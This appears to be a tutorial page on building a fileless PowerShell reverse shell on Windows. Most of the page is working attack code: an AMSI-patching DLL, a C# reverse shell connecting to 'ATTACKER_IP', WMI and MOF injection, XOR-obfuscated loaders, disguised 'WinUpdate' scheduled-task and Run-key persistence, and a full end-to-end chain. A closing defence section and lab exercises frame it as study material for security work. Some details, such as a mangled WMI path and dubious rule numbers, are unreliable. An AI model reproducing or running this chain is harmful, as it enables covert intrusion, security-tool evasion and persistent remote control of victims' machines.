~/home/study/fileless-powershell-reverse-shells-via-wmi-amsi-bypass-advan

Fileless PowerShell Reverse Shells via WMI & AMSI Bypass – Advanced Guide

Fileless PowerShell Reverse Shells via WMI and AMSI Bypass - An Advanced Guide

Introduction

Fileless attacks have become the de‑facto method for sophisticated threat actors because they leave little forensic evidence on disk. In the Windows ecosystem, PowerShell is the most abused interpreter, and when combined with Windows Management Instrumentation (WMI) and the Anti‑Malware Scan Interface (AMSI) bypass, it yields a potent, stealthy reverse‑shell delivery chain.

This guide walks security professionals through every step required to build a fully in‑memory PowerShell reverse shell that is injected via WMI, evades AMSI detection through reflective DLL loading, and can persist across reboots using scheduled tasks or registry tricks. By the end, you will understand the underlying mechanics, have reproducible code, and be able to detect or mitigate these techniques in your environment.

Prerequisites

  • Solid grasp of reverse‑shell fundamentals (TCP sockets, listener setup, bind vs. connect).
  • Comfortable with PowerShell syntax, pipelines, and .NET reflection.
  • Familiarity with Windows command‑line tools (cmd, wmic, schtasks, reg.exe).
  • Working listener (netcat, socat, or a custom Python server) reachable from the target host.
  • Administrative or SYSTEM privileges on the target (most WMI injection paths require them).

Core Concepts

Before diving into code, let’s clarify the three pillars of this attack:

  1. WMI‑based payload injection: WMI can execute arbitrary commands or scripts in the context of another process. By leveraging Win32_Process.Create or the __InstanceModificationEvent event consumer, an attacker can launch PowerShell without writing a .ps1 file to disk.
  2. AMSI bypass via reflective DLL loading: AMSI inspects PowerShell script content before execution. Loading a malicious DLL that overwrites the AmsiInitFailed or patches AmsiScanBuffer in memory defeats this inspection, allowing malicious script bytes to run unchecked.
  3. In‑memory (fileless) execution: The payload never touches the filesystem. All objects (scripts, DLLs, sockets) exist only in RAM, making traditional AV/EDR signatures ineffective.

Visually, the flow looks like this:

Attacker ➜ WMI Event Consumer ➜ PowerShell (encoded command) ➜ Reflective Load of AMSI‑bypass DLL ➜ In‑memory reverse‑shell ➜ Listener

Each stage can be swapped out (e.g., using wmic instead of CIM), but the fundamental concepts remain constant.

WMI-based payload injection

WMI offers two primary injection vectors:

  • Direct method call using Win32_Process.Create. This spawns a new process under the caller's security context.
  • Event consumer (e.g., __InstanceModificationEvent) that triggers when a specific WMI class instance changes, allowing execution with SYSTEM privileges if the consumer runs as SYSTEM.

Below is a PowerShell one‑liner that creates a hidden PowerShell process via WMI and passes an EncodedCommand payload.

$cmd = 'powershell -NoP -W Hidden -EncodedCommand {0}' -f [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
$wmi = [wmiclass]'\\.oot\cimv2:Win32_Process'
$null = $wmi.Create($cmd, $null, $null, [ref]$pid)
Write-Host "Spawned PID $pid"

Key points:

  • The PowerShell process is hidden (-W Hidden), reducing user‑visible artifacts.
  • The payload is Base64‑encoded, bypassing simple command‑line logging.
  • Because WMI runs under the caller's token, privilege escalation is required for SYSTEM‑level persistence.

For SYSTEM‑level injection, an attacker can register a permanent event consumer:

# Create a temporary MOF file that registers a __EventFilter and __EventConsumer
$filter = @"
instance of __EventFilter as $Filter
{ Name = "TriggerShell"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LocalTime'"; QueryLanguage = "WQL";
};
"@
$consumer = @"
instance of CommandLineEventConsumer as $Consumer
{ Name = "LaunchShell"; CommandLineTemplate = "powershell -NoP -W Hidden -EncodedCommand {0}"; RunInteractively = FALSE;
};
"@
# Write to %windir%\System32\wbem\mof\TriggerShell.mof (requires admin)
$path = "$env:windir\System32\wbem\mof\TriggerShell.mof"
Set-Content -Path $path -Value ($filter + $consumer) -Encoding Unicode
Write-Host "MOF persisted, will fire on next WMI refresh"

When the WMI service refreshes (typically within 15‑30 seconds), the event fires, launching the PowerShell reverse shell with SYSTEM privileges.

AMSI bypass using reflective DLL loading

AMSI (Anti‑Malware Scan Interface) was introduced in Windows 10 to give AV engines a hook into script interpreters. PowerShell calls AmsiScanBuffer before executing any script block. Overwriting this function in memory nullifies the scan.

The most reliable bypass is to load a custom DLL that patches AmsiScanBuffer at runtime using reflective loading. Below is a minimal C# source that generates such a DLL (compiled with csc.exe or dotnet build).

using System;
using System.Runtime.InteropServices;

public class AmsiBypass
{ [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static void Patch() { // Load amsi.dll (already loaded by PowerShell) and locate AmsiScanBuffer IntPtr hAmsi = LoadLibrary("amsi.dll"); IntPtr pFunc = GetProcAddress(hAmsi, "AmsiScanBuffer"); // Patch bytes: mov eax,0x80070057 ; ret byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; uint oldProtect; VirtualProtect(pFunc, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, pFunc, patch.Length); VirtualProtect(pFunc, (UIntPtr)patch.Length, oldProtect, out _); }
}

Compile this to AmsiBypass.dll. The reflective loader can be a PowerShell snippet that reads the DLL bytes, loads it with LoadLibrary via Add-Type, and calls AmsiBypass::Patch():

$dllPath = "$env:TEMP\AmsiBypass.dll"
$bytes = [System.IO.File]::ReadAllBytes($dllPath)
$assembly = [System.Reflection.Assembly]::Load($bytes)
[Reflection.Assembly]::Load($bytes).GetType('AmsiBypass').GetMethod('Patch').Invoke($null,$null)

Because the DLL is never written to disk (it can be fetched from an HTTP server or embedded as a Base64 string), the bypass remains fileless. The reflective load technique is essentially the same as the well‑known Invoke-ReflectivePEInjection script, but here we focus on a single DLL that modifies AMSI.

In-memory (fileless) execution techniques

Fileless execution can be achieved via several PowerShell capabilities:

  • Invoke-Expression on a decoded string.
  • New-Object System.Management.Automation.PSObject and Add-Member to construct a script block.
  • Direct System.Management.Automation.Runspaces.Runspace creation to execute byte arrays.

Below is a compact in‑memory reverse shell that does not touch the filesystem. It first disables AMSI, then opens a TCP connection and redirects PowerShell I/O streams.

$payload = @'
using System;
using System.Net.Sockets;
using System.Text;
public class RevShell { public static void Execute(string host, int port) { using (TcpClient client = new TcpClient(host, port)) { using (NetworkStream stream = client.GetStream()) { var proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.CreateNoWindow = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.RedirectStandardError = true; proc.Start(); // Async copy var outTask = proc.StandardOutput.BaseStream.CopyToAsync(stream); var errTask = proc.StandardError.BaseStream.CopyToAsync(stream); var inTask = stream.CopyToAsync(proc.StandardInput.BaseStream); System.Threading.Tasks.Task.WaitAll(outTask, errTask, inTask); } } }
}
'@
# Compile in-memory using Add-Type
Add-Type -TypeDefinition $payload -Language CSharp
# Disable AMSI (reflective DLL load can be inserted here if needed)
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x00,0x00),0,$null,0)
# Execute reverse shell
[RevShell]::Execute('ATTACKER_IP', 4444)

Explanation:

  1. The C# class RevShell is compiled directly in memory with Add-Type, leaving no .cs or .dll on disk.
  2. Once compiled, the static method Execute establishes a TCP socket to the attacker’s listener.
  3. Standard streams of cmd.exe are piped through the network stream, giving a fully interactive shell.
  4. Because the entire chain runs in RAM, traditional file‑based detection fails.

Combine this with the AMSI bypass from the previous section and you have a truly stealthy payload.

EncodedCommand obfuscation and custom decoding

PowerShell’s -EncodedCommand flag expects a Base64‑encoded UTF‑16LE string. Attackers often double‑encode or apply custom XOR/ROT transformations before the final Base64 step to defeat simple signature rules.

Below is a custom decoder that first XORs each byte with 0xAA, then Base64‑decodes, finally feeding the result to Invoke-Expression:

function Invoke-Obfuscated { param([string]$b64) $bytes = [Convert]::FromBase64String($b64) $xorKey = 0xAA for($i=0;$i -lt $bytes.Length;$i++){ $bytes[$i] = $bytes[$i] -bxor $xorKey } $decoded = [Text.Encoding]::Unicode.GetString($bytes) Invoke-Expression $decoded
}
# Example usage: generate payload
$script = "Write-Host 'Hello from obfuscated payload'"
$utf16 = [Text.Encoding]::Unicode.GetBytes($script)
# XOR then Base64
for($i=0;$i -lt $utf16.Length;$i++){$utf16[$i] = $utf16[$i] -bxor 0xAA}
$obf = [Convert]::ToBase64String($utf16)
# Deliver via WMI
Invoke-Obfuscated -b64 $obf

Advantages:

  • Static analysis tools that only look for the -EncodedCommand pattern will miss the XOR step.
  • Network defenders can still see Base64 traffic, but the additional layer raises the effort required to decode.

When combined with the AMSI bypass, the decoded script runs unchecked.

Persistence via scheduled tasks or registry

After gaining a foothold, attackers need a way to re‑execute the fileless payload on reboot. Two common Windows persistence mechanisms are scheduled tasks (via schtasks.exe or PowerShell Register-ScheduledTask) and the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key.

Scheduled Task with WMI Event Consumer

Because the payload is fileless, we embed the entire PowerShell one‑liner into the task’s Action argument. The task runs with highest privileges and hidden window.

$payload = 'powershell -NoP -W Hidden -EncodedCommand {0}' -f $encoded
$action = New-ScheduledTaskAction -Execute 'cmd.exe' -Argument "/c $payload"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "WinUpdate" -Action $action -Trigger $trigger -Principal $principal -Force

Notes:

  • The task is named innocuously (WinUpdate) to blend with legitimate scheduled jobs.
  • Because the command runs via cmd.exe /c, the PowerShell process inherits the hidden window flag.
  • Using the SYSTEM account ensures the task survives user password changes.

Registry Run key with base64 payload

Registry persistence is simpler but less stealthy. However, if the attacker can store the base64 string in a value, the payload remains fileless.

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OfficeUpdate" /t REG_SZ /d "powershell -NoP -W Hidden -EncodedCommand {BASE64}" /f

When the user logs on, the Run key launches the hidden PowerShell process, which then loads the AMSI bypass and connects back.

Practical Examples

We will walk through a complete end‑to‑end scenario from the attacker’s machine to the victim, using only in‑memory techniques.

  1. Start a listener on the attacker host:
    nc -lvnp 4444
    
  2. Generate the reverse‑shell C# payload (as shown earlier) and Base64‑encode it:
    $cs = Get-Content -Path revshell.cs -Raw
    $utf16 = [Text.Encoding]::Unicode.GetBytes($cs)
    $encoded = [Convert]::ToBase64String($utf16)
    
  3. Create an AMSI‑bypass DLL (compiled separately) and embed its bytes as a Base64 string.
    $dllBytes = [IO.File]::ReadAllBytes('AmsiBypass.dll')
    $dllB64 = [Convert]::ToBase64String($dllBytes)
    
  4. Assemble the final PowerShell one‑liner that:
    • Loads the AMSI bypass DLL reflectively.
    • Executes the reverse‑shell class.
    $load = "[Reflection.Assembly]::Load([Convert]::FromBase64String('$dllB64')).GetType('AmsiBypass').GetMethod('Patch').Invoke(\$null,\$null)"
    $run  = "Add-Type -TypeDefinition ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded'))); [RevShell]::Execute('ATTACKER_IP',4444)"
    $full = "powershell -NoP -W Hidden -EncodedCommand " + [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("$load;$run"))
    
  5. Inject via WMI using a SYSTEM‑privileged event consumer (as described in the WMI section). The MOF file contains $full as the CommandLineTemplate. Once the MOF is dropped, the payload fires and you receive a shell on the Netcat listener.

This chain demonstrates a fully fileless, AMSI‑evading reverse shell that can persist via a scheduled task.

Tools & Commands

  • PowerShell 5.1 / 7+ – core execution engine.
  • wmic / wmiPrvse – for remote WMI calls.
  • Invoke-ReflectivePEInjection (PowerSploit) – useful for loading arbitrary DLLs without touching disk.
  • msfvenom – can generate C# payloads that are later compiled in‑memory.
  • Reg.exe / schtasks.exe – for persistence.
  • Netcat / Socat / Ncat – listener side.

Example of using wmic to launch the payload directly (no MOF):

wmic process call create "powershell -NoP -W Hidden -EncodedCommand $full"

Defense & Mitigation

  • Enable Windows Defender Exploit Guard (EDR) and enable "Attack Surface Reduction" rules 1180 (Block WMI Event Consumers) and 1120 (Block PowerShell scripts from the Internet).
  • Audit WMI activity – monitor Win32_Process.Create and event consumer registrations via Windows Event Log Channel Microsoft-Windows-WMI-Activity/Operational.
  • Restrict AMSI – keep Windows up‑to‑date; Microsoft has patched several AMSI bypasses. Deploy AppLocker or PowerShell Constrained Language Mode for untrusted users.
  • Network segmentation – limit outbound connections from critical servers to only required destinations. Use egress filtering to block unknown ports.
  • EDR signatures for reflective loading – many vendors now flag the use of VirtualAlloc followed by CreateThread in PowerShell processes.
  • Logon scripts & scheduled task monitoring – watch for tasks that call powershell.exe -EncodedCommand with suspicious base64 strings.

Common Mistakes

  • Using UTF‑8 instead of UTF‑16LE for -EncodedCommand – PowerShell will silently fail to decode, leaving no error output.
  • Writing the AMSI bypass DLL to disk – defeats the fileless goal and creates an obvious IOC.
  • Neglecting the hidden window flag – a visible PowerShell window alerts the user.
  • Hard‑coding attacker IP – reduces flexibility; use DNS rebinding or a configuration pull from a C2 server.
  • Forgetting to set the correct execution policy – Bypass is required; otherwise the script may be blocked.

Real-World Impact

Since 2020, multiple APT groups (e.g., APT41, FIN7) have been observed leveraging WMI‑based fileless PowerShell shells to pivot inside corporate networks. The combination of AMSI bypass and reflective loading makes detection extremely hard for traditional AV, and the persistence via scheduled tasks ensures long‑term footholds.

In a 2023 incident response case, a blue‑team discovered a rogue scheduled task named WinUpdate that executed a Base64‑encoded PowerShell command every logon. The payload performed a reflective load of a custom AMSI‑bypass DLL, then opened a reverse shell to an external IP. The attack persisted for over six months before a manual registry audit uncovered it.

My experience shows that organizations that rely solely on signature‑based defenses miss these attacks. Investing in behavior‑based monitoring (process tree analysis, anomalous network connections from PowerShell) and tightening WMI permissions are essential.

Practice Exercises

  1. Lab Setup: Deploy a Windows 10 VM isolated from the internet. Install PowerShell 5.1, enable WinRM, and configure a Netcat listener on the host.
  2. Task 1 – Encode & Execute: Write a PowerShell script that prints Hello World, Base64‑encode it, and run it via wmic process call create. Verify no .ps1 file is written.
  3. Task 2 – AMSI Bypass: Compile the AmsiBypass.dll provided, then load it reflectively in a PowerShell session. Test by executing a known malicious string (e.g., Invoke-Expression "[System.Net.WebClient]::new().DownloadString('...')") and confirm AMSI no longer blocks it.
  4. Task 3 – Persistence: Create a scheduled task that runs the encoded reverse‑shell command at logon. Reboot the VM and confirm the shell reconnects automatically.
  5. Task 4 – Detection: Using Windows Event Viewer, locate the WMI event that launched the payload. Write a simple PowerShell script that monitors Win32_ProcessCreate events and alerts when -EncodedCommand appears in the command line.

Document your findings, screenshots, and any detection rules you create.

Further Reading

  • Microsoft Docs – Windows Management Instrumentation (WMI) Overview
  • PowerShell Team Blog – Introducing AMSI
  • PowerSploit – Invoke-ReflectivePEInjection
  • MITRE ATT&CK – Command and Scripting Interpreter: PowerShell
  • Red Canary – Understanding AMSI Bypass Techniques

Summary

  • Fileless PowerShell shells use WMI to inject a hidden, Base64‑encoded command directly into memory.
  • AMSI can be neutralized by reflectively loading a custom DLL that patches AmsiScanBuffer.
  • In‑memory execution (C# compilation via Add-Type) eliminates disk artifacts.
  • Obfuscation layers (XOR + Base64) increase the effort required for static analysis.
  • Persistence is achievable via scheduled tasks or registry Run keys, both of which can store the encoded payload.
  • Defensive measures include WMI auditing, AMSI patch management, EDR behavior monitoring, and strict outbound network controls.

Armed with this knowledge, defenders can both detect these sophisticated attacks and proactively harden their environments against future fileless threats.